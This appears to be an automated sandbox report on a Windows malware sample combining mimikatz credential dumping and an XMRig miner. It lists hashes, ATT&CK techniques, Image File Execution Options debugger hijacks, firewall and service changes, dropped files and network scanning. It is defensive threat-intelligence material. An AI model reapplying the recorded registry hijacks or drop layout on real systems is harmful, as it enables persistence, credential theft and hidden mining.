mimikatz | 895c2fe55ece499275607f1e84263ba6c398102533b91de25442afdc49c1c8a0

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
04/04/2025, 05:41

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2025-04-04_8184ac8e0aaa3acdfe51eaccd568821a_amadey_cloudeye_hacktools_icedid_mimikatz_rhadamanthys_smoke-loader.exe
Size

7.4MB
MD5

8184ac8e0aaa3acdfe51eaccd568821a
SHA1

2f4ea6354611cba1c9ac076240a58a5489b0603d
SHA256

895c2fe55ece499275607f1e84263ba6c398102533b91de25442afdc49c1c8a0
SHA512

858f9eee5b19978375505a85e38a5e41bc6f5564742b5d830e89d237c116a10128472ab7bac4112d35e355a058b719a1495a1d66252bd0373d8339cd624bced9
SSDEEP

196608:5po1mknGzwHdOgEPHd9BbX/nivPlTXTYev:Ygjz0E57/iv13

Score

10^/10

mimikatz xmrig credential_access defense_evasion discovery execution miner persistence privilege_escalation upx

Malware Config

Signatures

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz
Mimikatz family
mimikatz

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 5236 created 2136	5236	cvlatmn.exe	38

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Contacts a large (29383) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
credential_access

LSASS Memory
T1003.001

XMRig Miner payload 12 IoCs

miner

resource	yara_rule
behavioral1/memory/5732-176-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp	xmrig
behavioral1/memory/5732-181-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp	xmrig
behavioral1/memory/5732-200-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp	xmrig
behavioral1/memory/5732-213-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp	xmrig
behavioral1/memory/5732-219-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp	xmrig
behavioral1/memory/5732-232-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp	xmrig
behavioral1/memory/5732-248-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp	xmrig
behavioral1/memory/5732-253-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp	xmrig
behavioral1/memory/5732-254-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp	xmrig
behavioral1/memory/5732-255-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp	xmrig
behavioral1/memory/5732-260-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp	xmrig
behavioral1/memory/5732-261-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 3 IoCs

resource	yara_rule
behavioral1/memory/512-3-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral1/files/0x0007000000024346-5.dat	mimikatz
behavioral1/memory/3968-135-0x00007FF6958E0000-0x00007FF6959CE000-memory.dmp	mimikatz

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	cvlatmn.exe
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe
File created	C:\Windows\system32\drivers\etc\hosts	cvlatmn.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cvlatmn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	cvlatmn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cvlatmn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	cvlatmn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cvlatmn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	cvlatmn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cvlatmn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	cvlatmn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	cvlatmn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	cvlatmn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	cvlatmn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	cvlatmn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cvlatmn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cvlatmn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cvlatmn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cvlatmn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cvlatmn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cvlatmn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	cvlatmn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cvlatmn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	cvlatmn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	cvlatmn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cvlatmn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cvlatmn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	cvlatmn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	cvlatmn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cvlatmn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cvlatmn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cvlatmn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cvlatmn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	cvlatmn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cvlatmn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	cvlatmn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	cvlatmn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	cvlatmn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	cvlatmn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	cvlatmn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cvlatmn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cvlatmn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	cvlatmn.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4660	netsh.exe
3000	netsh.exe

Executes dropped EXE 32 IoCs

pid	Process
4900	cvlatmn.exe
5236	cvlatmn.exe
2348	wpcap.exe
5896	ivzhfikpb.exe
3968	vfshost.exe
5280	bcpfmifvy.exe
1652	xohudmc.exe
1808	ewmksq.exe
3572	cvlatmn.exe
5732	kchkra.exe
3928	bcpfmifvy.exe
4776	bcpfmifvy.exe
548	bcpfmifvy.exe
2084	bcpfmifvy.exe
2316	bcpfmifvy.exe
4104	bcpfmifvy.exe
1660	bcpfmifvy.exe
760	bcpfmifvy.exe
3436	bcpfmifvy.exe
928	bcpfmifvy.exe
3512	bcpfmifvy.exe
4512	bcpfmifvy.exe
1460	bcpfmifvy.exe
2260	bcpfmifvy.exe
3456	bcpfmifvy.exe
5392	bcpfmifvy.exe
4964	bcpfmifvy.exe
1144	cvlatmn.exe
6052	btazimybm.exe
4812	btazimybm.exe
5532	btazimybm.exe
4776	cvlatmn.exe

Loads dropped DLL 12 IoCs

pid	Process
2348	wpcap.exe
2348	wpcap.exe
2348	wpcap.exe
2348	wpcap.exe
2348	wpcap.exe
2348	wpcap.exe
2348	wpcap.exe
2348	wpcap.exe
2348	wpcap.exe
5896	ivzhfikpb.exe
5896	ivzhfikpb.exe
5896	ivzhfikpb.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
92	ifconfig.me
93	ifconfig.me

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Creates a Windows Service
persistence

Drops file in System32 directory 18 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\ewmksq.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	cvlatmn.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	cvlatmn.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\47AE5923F5DFB4ABA44810A29F57E8EF_1A47283A805DE63C5F2F94579A373D00	cvlatmn.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\47AE5923F5DFB4ABA44810A29F57E8EF_1A47283A805DE63C5F2F94579A373D00	cvlatmn.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	cvlatmn.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	cvlatmn.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	cvlatmn.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	cvlatmn.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	cvlatmn.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	cvlatmn.exe
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\ewmksq.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	cvlatmn.exe

UPX packed file 37 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0007000000024390-132.dat	upx
behavioral1/memory/3968-133-0x00007FF6958E0000-0x00007FF6959CE000-memory.dmp	upx
behavioral1/memory/3968-135-0x00007FF6958E0000-0x00007FF6959CE000-memory.dmp	upx
behavioral1/memory/5280-139-0x00007FF626410000-0x00007FF62646B000-memory.dmp	upx
behavioral1/files/0x000700000002439a-138.dat	upx
behavioral1/files/0x0007000000024399-156.dat	upx
behavioral1/memory/5280-161-0x00007FF626410000-0x00007FF62646B000-memory.dmp	upx
behavioral1/memory/5732-165-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp	upx
behavioral1/memory/3928-170-0x00007FF626410000-0x00007FF62646B000-memory.dmp	upx
behavioral1/memory/4776-174-0x00007FF626410000-0x00007FF62646B000-memory.dmp	upx
behavioral1/memory/5732-176-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp	upx
behavioral1/memory/548-179-0x00007FF626410000-0x00007FF62646B000-memory.dmp	upx
behavioral1/memory/5732-181-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp	upx
behavioral1/memory/2084-185-0x00007FF626410000-0x00007FF62646B000-memory.dmp	upx
behavioral1/memory/2316-189-0x00007FF626410000-0x00007FF62646B000-memory.dmp	upx
behavioral1/memory/4104-194-0x00007FF626410000-0x00007FF62646B000-memory.dmp	upx
behavioral1/memory/1660-198-0x00007FF626410000-0x00007FF62646B000-memory.dmp	upx
behavioral1/memory/5732-200-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp	upx
behavioral1/memory/760-203-0x00007FF626410000-0x00007FF62646B000-memory.dmp	upx
behavioral1/memory/3436-207-0x00007FF626410000-0x00007FF62646B000-memory.dmp	upx
behavioral1/memory/928-211-0x00007FF626410000-0x00007FF62646B000-memory.dmp	upx
behavioral1/memory/5732-213-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp	upx
behavioral1/memory/3512-216-0x00007FF626410000-0x00007FF62646B000-memory.dmp	upx
behavioral1/memory/5732-219-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp	upx
behavioral1/memory/4512-221-0x00007FF626410000-0x00007FF62646B000-memory.dmp	upx
behavioral1/memory/1460-225-0x00007FF626410000-0x00007FF62646B000-memory.dmp	upx
behavioral1/memory/2260-229-0x00007FF626410000-0x00007FF62646B000-memory.dmp	upx
behavioral1/memory/3456-231-0x00007FF626410000-0x00007FF62646B000-memory.dmp	upx
behavioral1/memory/5732-232-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp	upx
behavioral1/memory/5392-235-0x00007FF626410000-0x00007FF62646B000-memory.dmp	upx
behavioral1/memory/4964-237-0x00007FF626410000-0x00007FF62646B000-memory.dmp	upx
behavioral1/memory/5732-248-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp	upx
behavioral1/memory/5732-253-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp	upx
behavioral1/memory/5732-254-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp	upx
behavioral1/memory/5732-255-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp	upx
behavioral1/memory/5732-260-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp	upx
behavioral1/memory/5732-261-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp	upx

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe

Drops file in Windows directory 60 IoCs

description	ioc	Process
File created	C:\Windows\lfgfkziiz\cbmauknem\Packet.dll	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\cbmauknem\wpcap.dll	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\UnattendGC\specials\docmicfg.exe	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\UnattendGC\specials\schoedcl.exe	cvlatmn.exe
File opened for modification	C:\Windows\uclvtabv\svschost.xml	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\cbmauknem\ip.txt	cvlatmn.exe
File opened for modification	C:\Windows\uclvtabv\cvlatmn.exe	2025-04-04_8184ac8e0aaa3acdfe51eaccd568821a_amadey_cloudeye_hacktools_icedid_mimikatz_rhadamanthys_smoke-loader.exe
File created	C:\Windows\lfgfkziiz\UnattendGC\specials\vimpcsvc.exe	cvlatmn.exe
File created	C:\Windows\uclvtabv\vimpcsvc.xml	cvlatmn.exe
File opened for modification	C:\Windows\uclvtabv\spoolsrv.xml	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\UnattendGC\specials\cnli-1.dll	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\UnattendGC\specials\trch-1.dll	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\UnattendGC\specials\tucl-1.dll	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\UnattendGC\vimpcsvc.xml	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\UnattendGC\specials\schoedcl.xml	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\UnattendGC\specials\libeay32.dll	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\UnattendGC\spoolsrv.xml	cvlatmn.exe
File created	C:\Windows\uclvtabv\spoolsrv.xml	cvlatmn.exe
File created	C:\Windows\uclvtabv\schoedcl.xml	cvlatmn.exe
File opened for modification	C:\Windows\uclvtabv\vimpcsvc.xml	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\UnattendGC\specials\trfo-2.dll	cvlatmn.exe
File created	C:\Windows\uclvtabv\docmicfg.xml	cvlatmn.exe
File created	C:\Windows\uclvtabv\svschost.xml	cvlatmn.exe
File created	C:\Windows\ime\cvlatmn.exe	cvlatmn.exe
File opened for modification	C:\Windows\lfgfkziiz\Corporate\log.txt	cmd.exe
File created	C:\Windows\lfgfkziiz\cbmauknem\ivzhfikpb.exe	cvlatmn.exe
File opened for modification	C:\Windows\lfgfkziiz\cbmauknem\Packet.dll	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\UnattendGC\schoedcl.xml	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\Corporate\mimilib.dll	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\UnattendGC\specials\crli-0.dll	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\UnattendGC\specials\exma-1.dll	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\UnattendGC\specials\libxml2.dll	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\UnattendGC\specials\ssleay32.dll	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\UnattendGC\specials\tibe-2.dll	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\UnattendGC\specials\docmicfg.xml	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\UnattendGC\AppCapture64.dll	cvlatmn.exe
File opened for modification	C:\Windows\uclvtabv\schoedcl.xml	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\UnattendGC\specials\posh-0.dll	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\UnattendGC\specials\ucl.dll	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\UnattendGC\specials\xdvl-0.dll	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\UnattendGC\specials\zlib1.dll	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\UnattendGC\specials\spoolsrv.exe	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\UnattendGC\docmicfg.xml	cvlatmn.exe
File opened for modification	C:\Windows\lfgfkziiz\cbmauknem\Result.txt	btazimybm.exe
File created	C:\Windows\lfgfkziiz\cbmauknem\btazimybm.exe	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\UnattendGC\specials\vimpcsvc.xml	cvlatmn.exe
File opened for modification	C:\Windows\uclvtabv\docmicfg.xml	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\UnattendGC\specials\svschost.exe	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\UnattendGC\svschost.xml	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\UnattendGC\specials\svschost.xml	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\UnattendGC\Shellcode.ini	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\Corporate\mimidrv.sys	cvlatmn.exe
File created	C:\Windows\uclvtabv\cvlatmn.exe	2025-04-04_8184ac8e0aaa3acdfe51eaccd568821a_amadey_cloudeye_hacktools_icedid_mimikatz_rhadamanthys_smoke-loader.exe
File created	C:\Windows\lfgfkziiz\cbmauknem\wpcap.exe	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\UnattendGC\AppCapture32.dll	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\upbdrjv\swrpwe.exe	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\cbmauknem\scan.bat	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\UnattendGC\specials\coli-0.dll	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\Corporate\vfshost.exe	cvlatmn.exe
File created	C:\Windows\lfgfkziiz\UnattendGC\specials\spoolsrv.xml	cvlatmn.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3604	sc.exe
4344	sc.exe
2412	sc.exe
4428	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
